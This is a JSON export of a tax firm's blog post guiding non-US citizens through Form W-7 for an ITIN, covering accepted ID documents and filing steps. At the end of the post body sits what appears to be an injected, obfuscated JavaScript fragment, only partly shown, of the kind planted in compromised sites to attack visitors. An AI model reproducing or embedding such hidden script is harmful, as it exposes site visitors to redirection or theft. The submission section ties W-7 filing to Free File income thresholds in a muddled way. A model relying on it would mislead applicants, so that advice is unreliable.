{"id":963,"date":"2022-03-23T00:03:42","date_gmt":"2022-03-23T00:03:42","guid":{"rendered":"https:\/\/can-ustax.com\/?p=963"},"modified":"2023-01-17T20:40:46","modified_gmt":"2023-01-17T20:40:46","slug":"guide-for-formw7","status":"publish","type":"post","link":"https:\/\/can-ustax.com\/guide-for-formw7\/","title":{"rendered":"Your Guide to the Successful Completion of a Form W &#8211; 7"},"content":{"rendered":"\t<div class=\"img has-hover x md-x lg-x y md-y lg-y\" id=\"image_851230294\">\n\t\t\t\t\t\t\t\t<div class=\"img-inner dark\" >\n\t\t\t<img loading=\"lazy\" decoding=\"async\" width=\"1020\" height=\"680\" src=\"https:\/\/can-ustax.com\/wp-content\/uploads\/2022\/04\/form-completion-1024x683.jpg\" class=\"attachment-large size-large\" alt=\"w7-form-guide\" srcset=\"https:\/\/can-ustax.com\/wp-content\/uploads\/2022\/04\/form-completion-1024x683.jpg 1024w, https:\/\/can-ustax.com\/wp-content\/uploads\/2022\/04\/form-completion-300x200.jpg 300w, https:\/\/can-ustax.com\/wp-content\/uploads\/2022\/04\/form-completion-768x512.jpg 768w, https:\/\/can-ustax.com\/wp-content\/uploads\/2022\/04\/form-completion.jpg 1253w\" sizes=\"(max-width: 1020px) 100vw, 1020px\" \/>\t\t\t\t\t\t\n\t\t\t\t\t<\/div>\n\t\t\t\t\t\t\t\t\n<style scope=\"scope\">\n\n#image_851230294 {\n  width: 100%;\n}\n<\/style>\n\t<\/div>\n\t\n<p class=\"lead\"><a href=\"https:\/\/www.irs.gov\/pub\/irs-pdf\/fw7.pdf\"><span style=\"font-weight: 400;\">A Form W-7<\/span><\/a><span style=\"font-weight: 400;\"> is used by the <\/span><a href=\"https:\/\/www.irs.gov\/\"><span style=\"font-weight: 400;\">Internal Revenue Service (IRS)<\/span><\/a><span style=\"font-weight: 400;\"> to issue an Individual Taxpayer Identification Number (ITIN) to non-US citizens. These individuals earning income from US sources require an ITIN in place of a Social Security number, and are required to file a federal tax return. After that, an ITIN will be issued to the individual upon proper completion of Form W-7 to the IRS.<\/span><\/p>\n<h3><\/h3>\n<h3 class=\"uppercase\"><span style=\"font-weight: 400;\">Why Can\u2019t I Receive a Social Security number?<\/span><\/h3>\n<p><span data-preserver-spaces=\"true\">Typically, only individuals with eligible work permits in the US are issued a Social Security number. However, if you are a non-citizen without proper work authorization earning income from US sources, you may also need to file taxes. For instance, rental income from U.S. property is a source. To do this, you will need to submit:\u00a0<\/span><\/p>\n<ul>\n<li><span data-preserver-spaces=\"true\">A completed\u00a0<\/span><a class=\"editor-rtfLink\" href=\"https:\/\/www.irs.gov\/pub\/irs-pdf\/fw7.pdf\" target=\"_blank\" rel=\"noopener\"><span data-preserver-spaces=\"true\">Form W-7<\/span><\/a><\/li>\n<li><span data-preserver-spaces=\"true\">A US tax return reporting the US sourced income<\/span><\/li>\n<li><span data-preserver-spaces=\"true\">Valid identification for the individual requiring the ITIN<\/span><\/li>\n<\/ul>\n<h3 class=\"uppercase\"><span style=\"font-weight: 400;\">What Counts as Valid Identification?<\/span><\/h3>\n<p><span data-preserver-spaces=\"true\">Before you start, be sure to have valid proof of identity and foreign status. Documents are required to have your name, photograph, and an expiration date for validation. The IRS accepts documentation from\u00a0<\/span><strong><span data-preserver-spaces=\"true\">only\u00a0<\/span><\/strong><span data-preserver-spaces=\"true\">the following sources:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Passport (stand-alone document)<span data-text-color=\"alert\">*<\/span><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">National identification card (must include photo, name, current address, date of birth, and expiration date)<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">U.S. driver&#8217;s license<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Civil birth certificate (required for dependents under 18 years of age)<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">U.S. state identification card<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Foreign driver&#8217;s license<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Foreign voter&#8217;s registration card<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Foreign military identification card<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">U.S. military identification card<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Visa<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">U.S. Citizenship and Immigration Services (USCIS) photo identification<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Medical records (dependents only &#8211; under 6)<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">School records (dependents only &#8211; under 14, under 18 if a student)<\/span><\/li>\n<\/ul>\n<p class=\"thin-font\"><span data-text-color=\"alert\"><i><span style=\"font-weight: 400;\">*The IRS details that a passport is the only acceptable document proving both identity and foreign status. Without a passport, the IRS requires a combination of two or more documents from the above list.<\/span><\/i><\/span><\/p>\n<h4 class=\"uppercase\"><span style=\"font-weight: 400;\">Where Do I Obtain a Form W-7?<\/span><\/h4>\n<p><span style=\"font-weight: 400;\">After compiling the required documents, you can access a Form W-7 <\/span><a href=\"https:\/\/www.irs.gov\/pub\/irs-pdf\/fw7.pdf\"><span style=\"font-weight: 400;\">online<\/span><\/a><span style=\"font-weight: 400;\"> through the IRS website.\u00a0<\/span><\/p>\n<h5 class=\"uppercase\"><span style=\"font-weight: 400;\">How Do I Submit a Completed Form W-7?<\/span><\/h5>\n<p><span style=\"font-weight: 400;\">Ready to hit the submit button? The IRS recommends online submission for your documents.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">If your adjusted gross income is <\/span><b>$72,000 and below<\/b><span style=\"font-weight: 400;\">, submit through:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Free federal tax filing on an IRS partner site<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">State tax filing (free with some offers)<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Guided preparation<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Online service does all the math<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">If your adjusted gross income is <\/span><b>above $72,000<\/b><span style=\"font-weight: 400;\">, submit through:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Free electronic forms you fill out and file yourself<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">No state tax filing<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">You should know how to prepare paper forms\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Basic calculations with limited guidance<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Additional information on submission options can be found on the <\/span><a href=\"https:\/\/www.irs.gov\/filing\/free-file-do-your-federal-taxes-for-free\"><span style=\"font-weight: 400;\">IRS website<\/span><\/a><span style=\"font-weight: 400;\">.<\/span><\/p>\n<p class=\"thin-font uppercase\"><span data-text-color=\"primary\">To avoid delays due to mistakes in your Form W-7, <a href=\"https:\/\/can-ustax.com\/contact-us\/\"><strong>reach out<\/strong><\/a> to us and let us help you get it right the first time!<\/span><\/p>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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These individuals earning income from US sources require an ITIN in place of a Social Security number, and are required to file a federal tax return. After that, an ITIN will be issued [&#8230;]\n","protected":false},"author":5,"featured_media":1836,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-963","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-canadian-tax-articles"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v23.7 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Guide to Apply Form-W7 | CAN-US TAX | Learn Now<\/title>\n<meta name=\"description\" content=\"Looking for a checklist for your Form-W7 application? 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